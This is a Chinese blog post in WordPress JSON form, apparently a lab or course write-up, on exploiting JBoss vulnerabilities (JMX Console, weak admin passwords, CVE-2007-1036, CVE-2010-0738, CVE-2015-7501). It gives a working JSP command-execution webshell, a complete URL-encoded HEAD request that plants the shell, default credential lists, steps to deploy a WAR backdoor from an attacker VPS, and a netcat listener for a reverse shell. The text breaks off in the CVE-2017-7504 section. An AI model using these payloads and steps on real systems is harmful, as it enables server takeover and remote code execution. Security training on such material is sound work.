{"id":1507,"date":"2025-01-19T22:00:04","date_gmt":"2025-01-19T14:00:04","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1507"},"modified":"2025-01-19T22:00:06","modified_gmt":"2025-01-19T14:00:06","slug":"02-jboss%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/02-jboss%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"02.JBoss\u6f0f\u6d1e"},"content":{"rendered":"<h2>\u4e00\u3001Jboss\u7b80\u4ecb<\/h2>\n<p>JBoss\u662f\u4e00\u4e2a\u9ad8\u5ea6\u53ef\u6269\u5c55\u7684\u3001\u57fa\u4e8e J2EE\u7684\u5f00\u653e\u6e90\u4ee3\u7801\u7684\u5e94\u7528\u670d\u52a1\u5668<br \/>\nJBoss \u662f\u4e00\u4e2a\u7ba1\u7406 EJB \u7684\u5bb9\u5668\u548c\u670d\u52a1\u5668\uff0c\u4f46 JBoss \u6838\u5fc3\u670d\u52a1\u4e0d\u5305\u62ec\u652f\u6301 servlet\/JSP \u7684WEB\u5bb9\u5668\uff0c\u4e00 \u822c\u4e0eTomcat\u6216 Jetty\u7ed1\u5b9a\u4f7f\u7528\u3002Jboss\u662fJava EE\u5e94\u7528\u670d\u52a1\u5668\uff08\u5c31\u50cfApache\u662fweb\u670d\u52a1\u5668\u4e00\u6837\uff09\uff0c\u4e13\u95e8\u7528\u6765\u8fd0\u884c Java EE\u7a0b\u5e8f\u7684\u3002<\/p>\n<h2>\u4e8c\u3001Jboss\u5386\u53f2\u6f0f\u6d1e<\/h2>\n<table>\n<thead>\n<tr>\n<th>\u6f0f\u6d1e\u7c7b\u578b<\/th>\n<th>\u6f0f\u6d1e\u540d\u79f0<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>\u8bbf\u95ee\u63a7\u5236\u4e0d\u4e25\u5bfc\u81f4\u7684\u6f0f\u6d1e<\/td>\n<td>JMXConsole\u672a\u6388\u6743\u8bbf\u95eeGetshell<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>Administration Console \u5f31\u53e3\u4ee4 Getshell<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>CVE-2007-1036 &#8211; JMX Console HtmlAdaptor Getshell<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>CVE-2010-0738\uff0dJMX\u63a7\u5236\u53f0\u5b89\u5168\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e<\/td>\n<\/tr>\n<tr>\n<td>\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<td>CVE-2013-4810 &#8211; JBoss EJBInvokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>CVE-2015-7501\uff0dJBoss JMXInvokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>CVE-2017-7504- JBoSS 4.x JBossMQ JMS \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<\/tr>\n<tr>\n<td><\/td>\n<td>CVE-2017-12149-JBosS AS 6.X \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u4e09\u3001Jboss\u5386\u53f2\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<ul>\n<li>\n<p>Jboss\u9ed8\u8ba4\u9875\u9762<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/QQ_1736693939868.png\" alt=\"QQ_1736693939868.png\"><\/p>\n<\/li>\n<li>\n<p>Jboss\u6f0f\u6d1e\u68c0\u6d4b<br \/>\njbossScan<br \/>\n\u5c06\u76ee\u6807\u4e00\u884c\u4e00\u4e2a\u653e\u5165<code>target.txt<\/code>\u4e2d<\/p>\n<\/li>\n<\/ul>\n<pre><code>python jbossScan.py\n<\/code><\/pre>\n<p>jexboss<\/p>\n<pre><code>python jexboss.py -u http:\/\/05d3176f8732.target.yijinglab.com\/\n<\/code><\/pre>\n<h2>\u56db\u3001Jboss\u5386\u53f2\u6f0f\u6d1e\u5229\u7528<\/h2>\n<h3>1.JMX Console \u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>JBoss\u7684webUI\u754c\u9762 http:\/\/ip:port\/jmx-console \u672a\u6388\u6743\u8bbf\u95ee(\u6216\u9ed8\u8ba4\u5bc6\u7801 admin\/admin),\u53ef\u5bfc\u81f4 JBoss \u7684\u90e8\u7f72\u7ba1\u7406\u7684\u4fe1\u606f\u6cc4\u9732\uff0c\u653b\u51fb\u8005\u4e5f\u53ef\u4ee5\u76f4\u63a5\u4e0a\u4f20\u6728\u9a6c\u83b7\u53d6webshell<\/p>\n<h4>2\uff09\u6f0f\u6d1e\u53d1\u73b0<\/h4>\n<p>\u8bbf\u95ee\u5982\u4e0b\u5730\u5740<\/p>\n<pre><code>http:\/\/be65b34bd6aa.target.yijinglab.com\/jmx-console\/\n<\/code><\/pre>\n<p>\u5982\u679c\u80fd\u76f4\u63a5\u8bbf\u95ee\u6216\u8005\u53ef\u4ee5\u901a\u8fc7\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801\u767b\u5f55\u8bbf\u95ee\u5219\u4ee3\u8868\u5b58\u5728\u6f0f\u6d1e<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250112230739.png\" alt=\"Pasted image 20250112230739.png\"><\/p>\n<h4>3)\u6f0f\u6d1e\u5229\u7528<\/h4>\n<h5>\uff081\uff09\u8fdc\u7a0b\u90e8\u7f72war\u5305<\/h5>\n<ol>\n<li>\n<p>\u627e\u5230 jboss.deployment \u9009\u9879 (Jboss\u81ea\u5e26\u7684\u90e8\u7f72\u529f\u80fd\uff09\u4e2d\u7684flavor=URL,type=DeploymentScanner\u70b9 \u8fdb\u53bb\uff08\u901a\u8fc7 url \u7684\u65b9\u5f0f\u8fdc\u7a0b\u90e8\u7f72\uff09<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113092223.png\" alt=\"Pasted image 20250113092223.png\"><\/p>\n<\/li>\n<li>\n<p>\u4e5f\u53ef\u4ee5\u76f4\u63a5\u8f93\u5165\u7c7b\u4f3c\u5982\u4e0bURL\u8bbf\u95ee\uff1a<\/p>\n<\/li>\n<\/ol>\n<pre><code>http:\/\/6c8634f11b98.target.yijinglab.com\/jmx-console\/HtmlAdaptor?action=inspectMBean&amp;name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL\n<\/code><\/pre>\n<ol start=\"3\">\n<li>\n<p>\u8fdb\u5165\u9875\u9762\u540e\u627e\u5230void addURL()<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113092735.png\" alt=\"Pasted image 20250113092735.png\"><\/p>\n<\/li>\n<li>\n<p>\u6b64\u65f6\u90e8\u7f72\u6211\u4eec\u8fdc\u7a0b\u7684war\u5305\u6728\u9a6c<\/p>\n<\/li>\n<\/ol>\n<pre><code># \u6253\u5305jsp\u9a6c\u4e3awar\u5305\njar -cvf shell.war shell.jsp\n\n# \u5728vps\u4e0a\u542f\u52a8web\u670d\u52a1\npython -m http.server\n\n# war\u5305\u4e0b\u8f7d\u5730\u5740\nhttp:\/\/vps-IP:8000\/shell.war\n<\/code><\/pre>\n<ol start=\"5\">\n<li>\n<p>\u7136\u540e\u70b9\u51fbInvoke\u90e8\u7f72<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113103445.png\" alt=\"Pasted image 20250113103445.png\"><\/p>\n<\/li>\n<li>\n<p>\u968f\u540e\u70b9\u51fb Back to MBean View\u6765\u5230 URLList \u4e2d\u67e5\u770b Value \u503c\u662f\u5426\u5df2\u7ecf\u90e8\u7f72\u597d\uff0c\u5e76\u4e14\u4e3a\u6211\u4eec\u7684\u8fdc\u7a0bwar \u6728\u9a6c\u5730\u5740<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113103733.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113103733.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250113103733.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113104844.png\" alt=\"Pasted image 20250113104844.png\"><\/p>\n<\/li>\n<li>\n<p>\u6700\u540e\u70b9\u51fb Apply Changes \u540e\u8010\u5fc3\u7b49\u5f85\u4e00\u4f1a\u513f\uff0c\u7136\u540e\u56de\u5230 JMX-Console \u76ee\u5f55\u4e2d<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113104929.png\" alt=\"Pasted image 20250113104929.png\"><\/p>\n<\/li>\n<li>\n<p>\u8fd4\u56dejmx-console \u76ee\u5f55\u627e\u5230 jboss.web.deployment \u67e5\u770b\u662f\u5426\u5b58\u5728\u6211\u4eec\u90e8\u7f72\u7684war\u6728\u9a6c<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113105104.png\" alt=\"Pasted image 20250113105104.png\"><\/p>\n<\/li>\n<li>\n<p>\u6b64\u65f6\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u90e8\u7f72\u6210\u529f\uff0c<\/p>\n<\/li>\n<\/ol>\n<pre><code>webshell\u8bbf\u95ee\u5730\u5740\uff1ahttp:\/\/xxx.xxx.xxx.xxx\/bx3\/bx3.jsp\n<\/code><\/pre>\n<p>\u8fde\u63a5\u5bc6\u7801\uff1a<\/p>\n<pre><code>rebeyond\n<\/code><\/pre>\n<h5>\uff082\uff09\u811a\u672c\u5229\u7528<\/h5>\n<p>JbossVulExploit<br \/>\n\u5f00\u542fvps\u7684http\u670d\u52a1<\/p>\n<pre><code>python -m http.server\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113105510.png\" alt=\"Pasted image 20250113105510.png\"><\/p>\n<pre><code>python JbossUnauth.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113105633.png\" alt=\"Pasted image 20250113105633.png\"><\/p>\n<p>\u5c1d\u8bd5\u8fde\u63a5<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113105754.png\" alt=\"Pasted image 20250113105754.png\"><\/p>\n<p>\u6210\u529f\u8fde\u63a5<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113105821.png\" alt=\"Pasted image 20250113105821.png\"><\/p>\n<h3>2.Jboss\u5f31\u53e3\u4ee4Getshell<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>JBoss Administration Console\u5b58\u5728\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801\uff0c\u5982\u679cAdministration Console\u53ef\u4ee5\u767b\u5f55\uff0c\u5c31\u53ef\u4ee5\u5728\u540e\u53f0\u90e8\u7f72war\u5305getshell<\/p>\n<p>jboss\u5e38\u89c1\u5f31\u53e3\u4ee4\uff1a<\/p>\n<pre><code>admin\/admin\njboss\/admin\nadmin\/jboss\nadmin\/123456\nadmin\/password\n<\/code><\/pre>\n<h4>2)\u6f0f\u6d1e\u5229\u7528<\/h4>\n<ol>\n<li>\n<p>\u70b9\u51fbAdministration Console<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113121302.png\" alt=\"Pasted image 20250113121302.png\"><\/p>\n<\/li>\n<li>\n<p>\u8f93\u5165\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801 admin\/vulhub<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113121534.png\" alt=\"Pasted image 20250113121534.png\"><\/p>\n<\/li>\n<li>\n<p>\u8fdb\u5165\u540e\u53f0<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113121609.png\" alt=\"Pasted image 20250113121609.png\"><\/p>\n<\/li>\n<li>\n<p>\u8fdb\u5165\u540e\u627e\u5230Web Application (WAR)\uff0c\u70b9\u51fbAdd a new resource<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113121810.png\" alt=\"Pasted image 20250113121810.png\"><\/p>\n<\/li>\n<li>\n<p>\u9009\u62e9\u4e00\u4e2a\u8981\u90e8\u7f72\u7684war\u5305\uff0c \u6ce8\u610fwar \u5305\u7684\u540d\u5b57\u4e0d\u80fd\u662f\u7eaf\u6570\u5b57\uff0c\u4f8b\u59820123.war \u4e0a\u4f20\u4f1a\u51fa\u9519<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113122228.png\" alt=\"Pasted image 20250113122228.png\"><\/p>\n<\/li>\n<li>\n<p>\u90e8\u7f72\u6210\u529f\uff0c\u7136\u540e\u8bbf\u95eehttp:\/\/bd817ebf4e51.target.yijinglab.com\/bx3\/bx3.jsp , \u5b9e\u9645\u8def \u5f84\u9700\u8981\u6839\u636e\u81ea\u5df1\u7684war \u5305\u8fdb\u884c\u4fee\u6539<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113122542.png\" alt=\"Pasted image 20250113122542.png\"><\/p>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113122438.png\" alt=\"Pasted image 20250113122438.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113122454.png\" alt=\"Pasted image 20250113122454.png\"><\/p>\n<h3>3.CVE-2007-1036<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>\u6b64\u6f0f\u6d1e\u4e3b\u8981\u662f\u7531\u4e8eJBoss\u4e2d \/jmx-console\/HtmlAdaptor\u8def\u5f84\u5bf9\u5916\u5f00\u653e\uff0c\u5e76\u4e14\u6ca1\u6709\u4efb\u4f55\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\uff0c\u5bfc \u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u8fdb\u5165\u5230JMX\u63a7\u5236\u53f0\uff0c\u5e76\u5728\u5176\u4e2d\u6267\u884c\u4efb\u4f55\u529f\u80fd\u3002\u8be5\u6f0f\u6d1e\u5229\u7528\u7684\u662f\u540e\u53f0\u4e2d jboss.admin -&gt; DeploymentFileRepository -&gt; store()\u65b9\u6cd5\uff0c\u901a\u8fc7\u5411\u56db\u4e2a\u53c2\u6570\u4f20\u5165\u4fe1\u606f\uff0c\u8fbe\u5230\u4e0a\u4f20shell\u7684\u76ee\u7684\uff0c\u5176\u4e2d p1\u4f20\u5165\u7684\u662f\u90e8\u7f72\u7684war\u5305\u540d\u5b57\uff0cp2\u4f20\u5165\u7684\u662f\u4e0a\u4f20\u7684\u6587\u4ef6\u7684\u6587\u4ef6\u540d\uff0cp3\u4f20\u5165\u7684\u662f\u4e0a\u4f20\u6587\u4ef6\u7684\u6587\u4ef6\u683c\u5f0f\uff0cp4 \u4f20\u5165\u7684\u662f\u4e0a\u4f20\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u3002\u901a\u8fc7\u63a7\u5236\u8fd9\u56db\u4e2a\u53c2\u6570\u5373\u53ef\u4e0a\u4f20shell\uff0c\u63a7\u5236\u6574\u53f0\u670d\u52a1\u5668\u3002\u4f46\u662f\u901a\u8fc7\u5b9e\u9a8c\u53d1\u73b0\uff0c p2\u548cp3\u53ef\u4ee5\u8fdb\u884c\u6587\u4ef6\u7684\u62fc\u63a5\uff0c\u4f8b\u5982 p2=she\uff0cp3=ll.jsp\u3002\u8fd9\u4e2a\u65f6\u5019\u670d\u52a1\u5668\u8fd8\u662f\u4f1a\u8fdb\u884c\u62fc\u63a5\uff0c\u5c06 shell.jsp\u4f20\u5165\u5230\u6307\u5b9a\u8def\u5f84\u4e0b\u3002<\/p>\n<h4>2\uff09\u5f71\u54cd\u7248\u672c<\/h4>\n<p>jboss4.x\u4ee5\u4e0b<\/p>\n<h4>3\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<h5>\uff081\uff09\u624b\u52a8\u6d4b\u8bd5<\/h5>\n<ol>\n<li>\u901a\u8fc7\u8bbf\u95ee\u4e0b\u9762\u7684url\u5b9a\u4f4d\u5230store()\u65b9\u6cd5<\/li>\n<\/ol>\n<pre><code>http:\/\/xx.xx.xx.xx\/jmx-console\/HtmlAdaptor?action=inspectMBean&amp;name=jboss.admin:service=DeploymentFileRepository\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113165001.png\" alt=\"Pasted image 20250113165001.png\"><\/p>\n<pre><code>p1   shell.war\np2   shell\np3   .jsp\np4   &lt;%@ page import=&quot;java.io.*&quot; %&gt; \n&lt;% String cmd = request.getParameter(&quot;cmd&quot;); String output = &quot;&quot;; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +&quot;\\r\\n&quot;; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%&gt;\n<\/code><\/pre>\n<p>\u6ce8\u610f\uff1a\u4e0d\u8981\u7528\u6570\u5b57\u4f5c\u4e3a\u540d\u79f0<\/p>\n<ol start=\"2\">\n<li>\n<p>Invoke\u4e4b\u540e\u4f1a\u5c06p1\u53c2\u6570\u521b\u5efa war\u5305\uff0c\u628ap2\u548cp3\u4e24\u4e2a\u53c2\u6570\u52a0\u8d77\u6765\u5f53\u4f5c\u6587\u4ef6\u540d\uff0cp4\u662f\u6587\u4ef6\u5199\u5165\u7684\u5185\u5bb9<\/p>\n<\/li>\n<li>\n<p>\u6700\u540e\u8bbf\u95ee http:\/\/xx.xx.xx.xx\/shell\/shell.jsp\u5373\u53ef<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113165225.png\" alt=\"Pasted image 20250113165225.png\"><\/p>\n<\/li>\n<\/ol>\n<h5>\uff082\uff09\u811a\u672c\u5229\u7528<\/h5>\n<p>\u542f\u52a8\u811a\u672c<\/p>\n<pre><code>python CVE-2007-1036.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113170830.png\" alt=\"Pasted image 20250113170830.png\"><\/p>\n<p>\u94fe\u63a5\u51b0\u874e<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113170914.png\" alt=\"Pasted image 20250113170914.png\"><\/p>\n<p>\u94fe\u63a5\u6210\u529f<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113171024.png\" alt=\"Pasted image 20250113171024.png\"><\/p>\n<h3>4.CVE-2010-0738<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>\u5229\u7528\u539f\u7406\u4e0e CVE-2007-1036\u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u5229\u7528HEAD\u8bf7\u6c42\u65b9\u6cd5\u7ed5\u8fc7GET\u548cPOST\u8bf7\u6c42\u7684\u9650\u5236<\/p>\n<h4>2\uff09\u5f71\u54cd\u7248\u672c<\/h4>\n<p>jboss4.2.0-jboss4.3.0<\/p>\n<h4>3\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<p>\u6784\u9020\u5229\u7528\u8bf7\u6c42<\/p>\n<pre><code>HEAD \/jmx-console\/HtmlAdaptor?action=invokeOp&amp;name=jboss.admin%3Aservice%3DDeploymentFileRepository&amp;methodIndex=5&amp;arg0=..\/jmx-console.war\/&amp;arg1=shell&amp;arg2=.jsp&amp;arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%20%25%3e%20%0d%0a%3c%25%20%53%74%72%69%6e%67%20%63%6d%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%20%53%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%22%22%3b%20%69%66%28%63%6d%64%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%53%74%72%69%6e%67%20%73%20%3d%20%6e%75%6c%6c%3b%20%74%72%79%20%7b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6d%64%29%3b%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%73%49%20%3d%20%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%20%77%68%69%6c%65%28%28%73%20%3d%20%73%49%2e%72%65%61%64%4c%69%6e%65%28%29%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%70%75%74%20%2b%3d%20%73%20%2b%22%5c%72%5c%6e%22%3b%20%7d%20%7d%20%63%61%74%63%68%28%49%4f%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%20%65%2e%70%72%69%6e%74%53%74%61%63%6b%54%72%61%63%65%28%29%3b%20%7d%20%7d%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6f%75%74%70%75%74%29%3b%25%3e&amp;arg4=True HTTP\/1.1\nHost: target.yijinglab.com:50440\nPragma: no-cache\nCache-Control: no-cache\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,la;q=0.8,en;q=0.7\nCookie: JSESSIONID=0cNBlffLQCpH2yT4FG1hghTZgfk0C6gn2lbkwvdFPh5VbqyC7D5T!598670600\nConnection: close\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 0\n<\/code><\/pre>\n<h3>5.CVE-2015-7501<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>JBoss \u5728 \/invoker\/JMXInvokerServlet \u8bf7\u6c42\u4e2d\u8bfb\u53d6\u4e86\u7528\u6237\u4f20\u5165\u7684\u5bf9\u8c61\uff0c\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5229\u7528 Commons Collections \u4e2d\u7684 Gadget \u6267\u884c\u4efb\u610f\u4ee3\u7801 Java\u53cd\u5e8f\u5217\u5316\u9519\u8bef\u7c7b\u578b\uff0c\u5b58\u5728\u4e8e Jboss \u7684 HttpInvoker \u7ec4\u4ef6\u4e2d\u7684 Apache ReadOnlyAccessFilter \u8fc7\u6ee4\u5668\u4e2d\u6ca1 \u6709\u8fdb\u884c\u4efb\u4f55\u5b89\u5168\u68c0\u67e5\u7684\u60c5\u51b5\u4e0b\u5c1d\u8bd5\u5c06\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u6570\u636e\u6d41\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c JBoss \u5728 \/invoker\/JMXInvokerServlet \u8bf7\u6c42\u4e2d\u8bfb\u53d6\u4e86\u7528\u6237\u4f20\u5165\u7684\u5bf9\u8c61\uff0c\u4ece\u800c\u5bfc\u81f4\u4e86\u6f0f\u6d1e\u3002<\/p>\n<h4>2\uff09\u6f0f\u6d1e\u53d1\u73b0<\/h4>\n<p>\u6d4f\u89c8\u5668\u8bbf\u95ee http:\/\/ip:port\/invoker\/JMXInvokerServlet \u76f4\u63a5\u4e0b\u8f7d\u6587\u4ef6\uff0c\u8bf4\u660e\u5b58\u5728\u63a5\u53e3\uff0c\u53ca\u5b58\u5728\u6f0f\u6d1e<\/p>\n<h4>3\uff09\u6f0f\u6d1e\u5229\u7528<\/h4>\n<p>\u624b\u52a8\u5b9e\u73b0\u53ef\u4ee5\u53c2\u8003\u8bfe\u4ef6<\/p>\n<p>\u81ea\u52a8\u5316\u811a\u672c JbossVulExploit\/JavaDeserH2HC<br \/>\n\u6ce8\u610f\uff1a\u53ea\u80fd\u5728linux\u4e0a\u7528<\/p>\n<ol>\n<li>\u5f00\u542fvps\u76d1\u542c<\/li>\n<\/ol>\n<pre><code>nc -lnvp 7777\n<\/code><\/pre>\n<ol start=\"2\">\n<li>\u4f7f\u7528\u811a\u672c\u83b7\u53d6\u53cd\u5f39shell<\/li>\n<\/ol>\n<pre><code>python CVE-2015-7501.py\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113192101.png\" alt=\"Pasted image 20250113192101.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250113192125.png\" alt=\"Pasted image 20250113192125.png\"><\/p>\n<h3>6.CVE-2017-7504<\/h3>\n<h4>1\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h4>\n<p>JBoss AS 4.x\u53ca\u4e4b\u524d\u7248\u672c\u4e2d\uff0c JbossMQ\u5b9e\u73b0\u8fc7\u7a0b\u7684 JMS over HTTP Invocation Layer\u7684 HTTPServerILServlet.java\u6587\u4ef6\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u501f\u52a9\u7279\u5236\u7684\u5e8f\u5217\u5316\u6570\u636e\u5229\u7528\u8be5\u6f0f\u6d1e\u6267 \u884c\u4efb\u610f\u4ee3\u7801\u3002 CVE-2017-7504\u6f0f\u6d1e\u4e0e CVE-2015-7501\u7684\u6f0f\u6d1e\u539f\u7406\u76f8\u4f3c\uff0c\u53ea\u662f\u5229\u7528\u7684\u8def\u5f84\u7a0d\u5fae\u51fa\u73b0\u4e86\u53d8\u5316\uff0c 7504\u51fa\u73b0\u5728 CVE-2017 \/jbossmq-httpil\/HTTPServerILServlet\u8def\u5f84\u4e0b\u3002JBoss AS 4.x\u53ca\u4e4b\u524d\u7248\u672c\u4e2d\uff0cJbossMQ \u5b9e\u73b0\u8fc7\u7a0b\u7684 JMS over HTTP Invocation Layer\u7684 HTTPServerILServlet.java\u2f42\u4ef6\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f \u6d1e\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u501f\u52a9\u7279\u5236\u7684\u5e8f\u5217\u5316\u6570\u636e\u5229\u2f64\u8be5\u6f0f\u6d1e\u6267\u2f8f\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n<h4>2\uff09\u5f71\u54cd\u8303\u56f4<\/h4>\n<p>JBoss AS 4.x\u53ca\u4e4b\u524d\u7248\u672c<\/p>\n<h4>3\uff09\u6f0f\u6d1e\u53d1\u73b0<\/h4>\n<p>\u8bbf\u95eehttp:\/\/IP\u5730\u5740:\u7aef\u53e3\/jbossmq-httpil\/HTTPServerILServlet\uff0c\u82e5\u51fa\u73b0\u5982\u4e0b\u754c\u9762\u5219\u5b58\u5728\u6f0f\u6d1e<br 